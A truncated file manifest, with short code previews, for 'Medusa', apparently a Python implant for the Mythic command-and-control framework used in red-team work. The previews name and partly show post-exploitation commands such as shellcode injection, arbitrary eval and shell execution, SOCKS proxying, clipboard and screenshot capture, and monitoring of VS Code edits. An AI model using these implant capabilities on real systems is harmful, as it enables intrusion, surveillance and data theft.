"path": "Payload_Type/medusa/medusa/agent_code/base_agent/crypto_lib.py2",
"chars": 2412,
"preview": "class medusa:\n def encrypt(self, data):\n from cryptography.hazmat.primitives.ciphers import Cipher, algorithms"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/crypto_lib.py3",
"chars": 2412,
"preview": "class medusa:\n def encrypt(self, data):\n from cryptography.hazmat.primitives.ciphers import Cipher, algorithms"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/manual_crypto.py2",
"chars": 10359,
"preview": "s_box = (\n 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n 0xCA, "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/manual_crypto.py3",
"chars": 9976,
"preview": "s_box = (\n 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n 0xCA, "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/transport_azure_blob.py2",
"chars": 6540,
"preview": "### IMPORTS ###\nimport urllib2\nimport uuid\n\n### CLASS_FIELDS ###\n blob_endpoint = \"BLOB_ENDPOINT_PLACEHOLDER\"\n con"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/transport_azure_blob.py3",
"chars": 6045,
"preview": "### IMPORTS ###\nimport urllib.request\nimport uuid\n\n### CLASS_FIELDS ###\n blob_endpoint = \"BLOB_ENDPOINT_PLACEHOLDER\"\n"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/transport_http.py2",
"chars": 3568,
"preview": "### IMPORTS ###\nimport urllib2\n\n### CLASS_FIELDS ###\n\n### FUNCTIONS ###\n def postMessageAndRetrieveResponse(self, dat"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/base_agent/transport_http.py3",
"chars": 3671,
"preview": "### IMPORTS ###\nimport urllib.request\n\n### CLASS_FIELDS ###\n\n### FUNCTIONS ###\n def postMessageAndRetrieveResponse(se"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/cat.py",
"chars": 266,
"preview": " def cat(self, task_id, path):\n file_path = path if path[0] == os.sep \\\n else os.path.join(self"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/cd.py",
"chars": 320,
"preview": " def cd(self, task_id, path):\n if path == \"..\":\n self.current_directory = os.path.dirname(os.path.d"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/clipboard.py2",
"chars": 246,
"preview": " def clipboard(self, task_id):\n from Cocoa import NSPasteboard, NSStringPboardType\n pboard = NSPasteboa"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/cp.py",
"chars": 477,
"preview": " def cp(self, task_id, source, destination):\n import shutil\n\n source_path = source if source[0] == os.s"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/cwd.py",
"chars": 74,
"preview": " def cwd(self, task_id):\n return self.current_directory\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/download.py",
"chars": 1767,
"preview": " def download(self, task_id, file):\n file_path = file if file[0] == os.sep \\\n else os.path.join"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/download_bulk.py",
"chars": 9174,
"preview": " def download_bulk(self, task_id, path, mode=\"archive\"):\n \"\"\"\n Bulk download files or a directo"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/env.py",
"chars": 111,
"preview": " def env(self, task_id):\n return \"\\n\".join([\"{}: {}\".format(x, os.environ[x]) for x in os.environ])\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/eval_code.py",
"chars": 80,
"preview": " def eval_code(self, task_id, command):\n return eval(command)\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/exit.py",
"chars": 49,
"preview": " def exit(self, task_id):\n os._exit(0)\n"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/jobkill.py",
"chars": 167,
"preview": " def jobkill(self, task_id, target_task_id):\n task = [task for task in self.taskings if task[\"task_id\"] == tar"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/jobs.py",
"chars": 342,
"preview": " def jobs(self, task_id):\n out = [t.name.split(\":\") for t in threading.enumerate() \\\n if t.name != "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/kill.py3",
"chars": 1037,
"preview": " def kill(self, task_id, process_id):\n import ctypes, ctypes.wintypes\n from ctypes import GetLastError\n"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/list_apps.py2",
"chars": 446,
"preview": " def list_apps(self, task_id):\n import Cocoa\n app_json = []\n apps = Cocoa.NSWorkspace.sharedWork"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/list_dlls.py3",
"chars": 11456,
"preview": " def list_dlls(self, task_id, process_id=0):\n import sys, os.path, ctypes, ctypes.wintypes\n from ctypes"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/list_modules.py",
"chars": 350,
"preview": " def list_modules(self, task_id, module_name=\"\"):\n if module_name:\n if module_name in self.moduleRe"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/list_tcc.py",
"chars": 947,
"preview": " def list_tcc(self,task_id,tcc=True, db=\"/Library/Application Support/com.apple.TCC/TCC.db\"):\n import sqlite3\n"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/load.py",
"chars": 1303,
"preview": " def load(self, task_id, file_id, command):\n total_chunks = 1\n chunk_num = 0\n cmd_code = \"\"\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/load_dll.py",
"chars": 357,
"preview": " def load_dll(self, task_id, dllpath, dllexport):\n from ctypes import WinDLL\n dll_file_path = dllpath i"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/load_module.py2",
"chars": 4677,
"preview": " def load_module(self, task_id, file, module_name):\n import zipfile, io\n class CFinder(object):\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/load_module.py3",
"chars": 4754,
"preview": " def load_module(self, task_id, file, module_name):\n import zipfile, io\n\n class CFinder(object):\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/load_script.py",
"chars": 841,
"preview": " def load_script(self, task_id, file):\n total_chunks = 1\n chunk_num = 0\n cmd_code = \"\"\n w"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/ls.py2",
"chars": 2275,
"preview": "\n def ls(self, task_id, path, file_browser=False):\n if path == \".\": file_path = self.current_directory\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/ls.py3",
"chars": 2333,
"preview": " def ls(self, task_id, path, file_browser=False):\n if path == \".\": file_path = self.current_directory\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/mv.py",
"chars": 365,
"preview": " def mv(self, task_id, source, destination):\n import shutil\n source_path = source if source[0] == os.se"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/pip_freeze.py",
"chars": 974,
"preview": " def pip_freeze(self, task_id):\n out=\"\"\n try:\n import pkg_resources\n installed_pa"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/ps.py2",
"chars": 2617,
"preview": " def ps(self, task_id):\n\n def get_user_id_map():\n\n user_map = {}\n # get username from ui"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/ps.py3",
"chars": 7593,
"preview": " def ps(self, task_id):\n import os\n processes = []\n if os.name == 'posix':\n\n def get_"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/ps_full.py3",
"chars": 10902,
"preview": " def ps_full(self, task_id):\n import sys, os.path, ctypes, ctypes.wintypes\n from ctypes import create_u"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/rm.py",
"chars": 287,
"preview": " def rm(self, task_id, path):\n import shutil\n file_path = path if path[0] == os.sep \\\n e"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/screenshot.py2",
"chars": 2271,
"preview": " def screenshot(self, task_id):\n from Cocoa import NSURL, NSBitmapImageRep\n import LaunchServices\n "
},
{
"path": "Payload_Type/medusa/medusa/agent_code/shell.py",
"chars": 328,
"preview": " def shell(self, task_id, command):\n import subprocess\n process = subprocess.Popen(command, stdout=subp"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/shinject.py",
"chars": 1542,
"preview": " def shinject(self, task_id, shellcode, process_id):\n from ctypes import windll,c_int,byref,c_ulong\n to"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/sleep.py",
"chars": 179,
"preview": " def sleep(self, task_id, seconds, jitter=-1):\n self.agent_config[\"Sleep\"] = int(seconds)\n if jitter !="
},
{
"path": "Payload_Type/medusa/medusa/agent_code/socks.py2",
"chars": 6923,
"preview": " def socks(self, task_id, action, port):\n import socket, select\n from threading import Thread, active_c"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/socks.py3",
"chars": 6916,
"preview": " def socks(self, task_id, action, port):\n import socket, select, queue\n from threading import Thread, a"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/spawn_jxa.py",
"chars": 1411,
"preview": " def spawn_jxa(self, task_id, file, language):\n import os\n import subprocess\n \n total_chu"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/unload.py",
"chars": 517,
"preview": " def unload(self, task_id, command):\n try: getattr(medusa, command)\n except: return \"{} not currently l"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/unload_module.py",
"chars": 370,
"preview": " def unload_module(self, task_id, module_name):\n if module_name in self._meta_cache:\n finder = self"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/upload.py",
"chars": 1258,
"preview": " def upload(self, task_id, file, remote_path):\n total_chunks = 1\n chunk_num = 1\n\n file_path = re"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/vscode_list_recent.py",
"chars": 1112,
"preview": " def vscode_list_recent(self, task_id, db=\"\"):\n import os, sqlite3, json\n \n path = db if db else"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/vscode_open_edits.py",
"chars": 1905,
"preview": " def vscode_open_edits(self, task_id, backups_path=\"\"):\n import os, json\n import time\n\n path = b"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/vscode_watch_edits.py",
"chars": 5294,
"preview": " def vscode_watch_edits(self, task_id, backups_path=\"\", seconds=1):\n import hashlib, time, os, json\n\n k"
},
{
"path": "Payload_Type/medusa/medusa/agent_code/watch_dir.py",
"chars": 4307,
"preview": " def watch_dir(self, task_id, path, seconds):\n import hashlib\n known_files = {}\n def diffFolder("
},
{
"path": "Payload_Type/medusa/medusa/mythic/__init__.py",
"chars": 638,
"preview": "import glob\r\nimport os.path\r\nfrom pathlib import Path\r\nfrom importlib import import_module, invalidate_caches\r\nimport sy"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/builder.py",
"chars": 15935,
"preview": "from mythic_container.PayloadBuilder import *\nfrom mythic_container.MythicCommandBase import *\nfrom mythic_container.Myt"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/cat.py",
"chars": 1628,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/cd.py",
"chars": 1645,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/clipboard.py",
"chars": 1337,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\nclass GetClipboar"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/cp.py",
"chars": 2291,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\nclass CpArguments"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/cwd.py",
"chars": 1238,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\nclass GetCwdArgum"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/download.py",
"chars": 3131,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\n\nclass DownloadAr"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/download_bulk.py",
"chars": 3554,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\n\nclass DownloadBu"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/env.py",
"chars": 1230,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\nclass GetEnvArgum"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/eval_code.py",
"chars": 1577,
"preview": "from mythic_container.MythicCommandBase import *\nimport json, re\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nc"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/exit.py",
"chars": 1272,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\n\nclass ExitArgume"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/jobkill.py",
"chars": 1694,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/jobs.py",
"chars": 1299,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\nclass JobsArgumen"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/kill.py",
"chars": 1594,
"preview": "from mythic_container.MythicCommandBase import *\nimport json, re\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nc"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/list_apps.py",
"chars": 1570,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\n\nclass ListAppsArguments(TaskA"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/list_dlls.py",
"chars": 2467,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\nclass ListDllsArg"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/list_modules.py",
"chars": 1931,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\nclass ListModules"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/list_tcc.py",
"chars": 2105,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/load.py",
"chars": 6499,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json, base64, os\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/load_dll.py",
"chars": 2277,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\nclass LoadDllArgu"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/load_module.py",
"chars": 2858,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\nimport sys\nimport "
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/load_script.py",
"chars": 2446,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\nimport sys\nimport "
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/ls.py",
"chars": 2481,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/mv.py",
"chars": 2289,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\nclass MvArguments"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/pip_freeze.py",
"chars": 1269,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\n\nclass PipFreezeAr"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/ps.py",
"chars": 1259,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/ps_full.py",
"chars": 1248,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/rm.py",
"chars": 2278,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/screenshot.py",
"chars": 1657,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nimport datetime\nfrom mythic_container.MythicRPC import *\nfr"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/shell.py",
"chars": 1573,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\n\n\nclass ShellArguments(TaskArg"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/shinject.py",
"chars": 2911,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\nimport sys\nimport "
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/sleep.py",
"chars": 2861,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\ndef positiveTime("
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/socks.py",
"chars": 4737,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\nclass SocksArgume"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/spawn_jxa.py",
"chars": 2616,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\nimport sys\nimport "
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/unload.py",
"chars": 2016,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json, base64, os\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/unload_module.py",
"chars": 1753,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\nimport sys\nimport "
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/upload.py",
"chars": 3253,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json, sys, base64\n\n\ncla"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/vscode_list_recent.py",
"chars": 2154,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/vscode_open_edits.py",
"chars": 2193,
"preview": "from mythic_container.MythicCommandBase import *\nimport json\nfrom mythic_container.MythicRPC import *\nimport sys\n\n\nclass"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/vscode_watch_edits.py",
"chars": 2739,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\n\nclass VscodeWatc"
},
{
"path": "Payload_Type/medusa/medusa/mythic/agent_functions/watch_dir.py",
"chars": 2416,
"preview": "from mythic_container.MythicCommandBase import *\nfrom mythic_container.MythicRPC import *\nimport json\n\n\nclass WatchDirAr"
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/copy_additional_info_to_clipboard.js",
"chars": 769,
"preview": "function(elem){\n function copyStringToClipboard(str) {\n // Create new element\n let el = document.create"
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/create_table.js",
"chars": 1074,
"preview": "function(headers, data){\n let output = \"<table style='overflow:scroll;white-space:nowrap;width:100%;color:white' class="
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/download.js",
"chars": 1177,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur)"
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/download_bulk.js",
"chars": 2233,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur)"
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/file_size_to_human_readable_string.js",
"chars": 374,
"preview": "function(fileSize){\n var thresh = 1024;\n if(Math.abs(fileSize) < thresh) {\n return fileSize + ' B';\n }\n "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/jobs.js",
"chars": 1772,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur) => "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/list_apps.js",
"chars": 1868,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur) => "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/list_dlls.js",
"chars": 1545,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur) => "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/ls.js",
"chars": 5558,
"preview": "function(task, response){\n if(task.status.includes(\"error\")){\n const combined = response.reduce( (prev, cur) => {\n "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/ps.js",
"chars": 3459,
"preview": "function(task, response){\n if(task.status.includes(\"error\")){\n const combined = response.reduce( (prev, cur) ="
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/ps_full.js",
"chars": 4307,
"preview": "function(task, response){\n if(task.status.includes(\"error\")){\n const combined = response.reduce( (prev, cur) ="
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/screenshot.js",
"chars": 1186,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur)"
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/tcc.js",
"chars": 4157,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur) => "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/vscode_edits.js",
"chars": 2446,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur) => "
},
{
"path": "Payload_Type/medusa/medusa/mythic/browser_scripts/vscode_recent.js",
"chars": 2030,
"preview": "function(task, responses){\n if(task.status.includes(\"error\")){\n const combined = responses.reduce( (prev, cur) => "
},
{
"path": "Payload_Type/medusa/rabbitmq_config.json",
"chars": 324,
"preview": "{\r\n \"username\": \"mythic_user\",\r\n \"password\": \"mythic_password\",\r\n \"virtual_host\": \"mythic_vhost\",\r\n \"host\": "
},
{
"path": "README.md",
"chars": 9299,
"preview": "<p align=\"center\">\n <img alt=\"Medusa Logo\" src=\"agent_icons/medusa.svg\" height=\"30%\" width=\"30%\">\n</p>\n\n# Medusa\n\nMedus"
},
{
"path": "config.json",
"chars": 173,
"preview": "{\n\t\"exclude_payload_type\": false,\n\t\"exclude_c2_profiles\": false,\n\t\"exclude_documentation_payload\": false,\n\t\"exclude_docu"
},
{
"path": "documentation-c2/.keep",
"chars": 0,
"preview": ""
},
{
"path": "documentation-payload/.keep",
"chars": 0,
"preview": ""
},
{
"path": "documentation-payload/medusa/_index.md",
"chars": 3319,
"preview": "+++\ntitle = \"Medusa\"\nchapter = false\nweight = 5\n+++\n\n\n## Summary\n\nMedusa i"
},
{
"path": "documentation-payload/medusa/c2_profiles/Azure_Blob.md",
"chars": 1165,
"preview": "+++\ntitle = \"Azure Blob\"\nchapter = false\nweight = 103\n+++\n\n## Summary\nThe `medusa` agent supports Azure Blob Storage as "
},
{
"path": "documentation-payload/medusa/c2_profiles/HTTP.md",
"chars": 387,
"preview": "+++\ntitle = \"HTTP\"\nchapter = false\nweight = 102\n+++\n\n## Summary\nThe `medusa` agent uses a series of `POST` web requests "
},
{
"path": "documentation-payload/medusa/c2_profiles/_index.md",
"chars": 229,
"preview": "+++\ntitle = \"C2 Profiles\"\nchapter = true\nweight = 25\npre = \"<b>4. </b>\"\n+++\n\n# Supported C2 Profiles\n\nThis section goes "
},
{
"path": "documentation-payload/medusa/commands/_index.md",
"chars": 188,
"preview": "+++\ntitle = \"Commands\"\nchapter = true\nweight = 15\npre = \"<b>2. </b>\"\n+++\n\n# medusa command reference\n\nThese pages provid"
},
{
"path": "documentation-payload/medusa/commands/cat.md",
"chars": 834,
"preview": "+++\ntitle = \"cat\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nOutputs the string content of a given fil"
},
{
"path": "documentation-payload/medusa/commands/cd.md",
"chars": 962,
"preview": "+++\ntitle = \"cd\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nChange the current working directory to an"
},
{
"path": "documentation-payload/medusa/commands/clipboard.md",
"chars": 1339,
"preview": "+++\ntitle = \"clipboard\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nGet all the types of contents on th"
},
{
"path": "documentation-payload/medusa/commands/cp.md",
"chars": 1224,
"preview": "+++\ntitle = \"cp\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nCopy a given file or folder to a specified"
},
{
"path": "documentation-payload/medusa/commands/cwd.md",
"chars": 459,
"preview": "+++\ntitle = \"cwd\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nPrints the current working directory for "
},
{
"path": "documentation-payload/medusa/commands/download.md",
"chars": 2096,
"preview": "+++\ntitle = \"download\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nDownload a file from the target mach"
},
{
"path": "documentation-payload/medusa/commands/download_bulk.md",
"chars": 4279,
"preview": "+++\ntitle = \"download_bulk\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nBulk download file(s), director"
},
{
"path": "documentation-payload/medusa/commands/env.md",
"chars": 450,
"preview": "+++\ntitle = \"env\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nPrints the environment variables for the "
},
{
"path": "documentation-payload/medusa/commands/eval_code.md",
"chars": 565,
"preview": "+++\ntitle = \"eval_code\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nSend and interpret new Python code."
},
{
"path": "documentation-payload/medusa/commands/exit.md",
"chars": 359,
"preview": "+++\ntitle = \"exit\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis exits the current Medusa agent. \n\n-"
},
{
"path": "documentation-payload/medusa/commands/jobs.md",
"chars": 860,
"preview": "+++\ntitle = \"jobs\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nLists the currently running jobs (aka lo"
},
{
"path": "documentation-payload/medusa/commands/kill.md",
"chars": 1474,
"preview": "+++\ntitle = \"kill\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses the ctypes library to interfac"
},
{
"path": "documentation-payload/medusa/commands/list_apps.md",
"chars": 1031,
"preview": "+++\ntitle = \"list_apps\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses NSApplication.RunningAppl"
},
{
"path": "documentation-payload/medusa/commands/list_dlls.md",
"chars": 12035,
"preview": "+++\ntitle = \"list_dlls\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses the ctypes library to int"
},
{
"path": "documentation-payload/medusa/commands/list_modules.md",
"chars": 1006,
"preview": "+++\ntitle = \"list_modules\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nLists the modules (Python librar"
},
{
"path": "documentation-payload/medusa/commands/list_tcc.md",
"chars": 1453,
"preview": "+++\ntitle = \"list_tcc\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis uses the Python `sqlite` librar"
},
{
"path": "documentation-payload/medusa/commands/load.md",
"chars": 2064,
"preview": "+++\ntitle = \"load\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis loads new functions into memory via"
},
{
"path": "documentation-payload/medusa/commands/load_dll.md",
"chars": 1166,
"preview": "+++\ntitle = \"load_dll\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nUses Python's `ctypes` library to lo"
},
{
"path": "documentation-payload/medusa/commands/load_module.md",
"chars": 10332,
"preview": "+++\ntitle = \"load_module\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nLoads a zipped Python module into"
},
{
"path": "documentation-payload/medusa/commands/load_script.md",
"chars": 2432,
"preview": "+++\ntitle = \"load_script\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nThis loads a new script into memo"
},
{
"path": "documentation-payload/medusa/commands/ls.md",
"chars": 5130,
"preview": "+++\ntitle = \"ls\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nGet attributes about a file and display it"
},
{
"path": "documentation-payload/medusa/commands/mv.md",
"chars": 1113,
"preview": "+++\ntitle = \"mv\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nMove a given file or folder to a specified"
},
{
"path": "documentation-payload/medusa/commands/pip_freeze.md",
"chars": 1404,
"preview": "+++\ntitle = \"pip_freeze\"\nchapter = false\nweight = 100\nhidden = false\n+++\n\n## Summary\n\nPrints the currently installed pyt"
},
{
"path": "documentation-payload/medusa/commands/ps.md",
"chars": 5382,
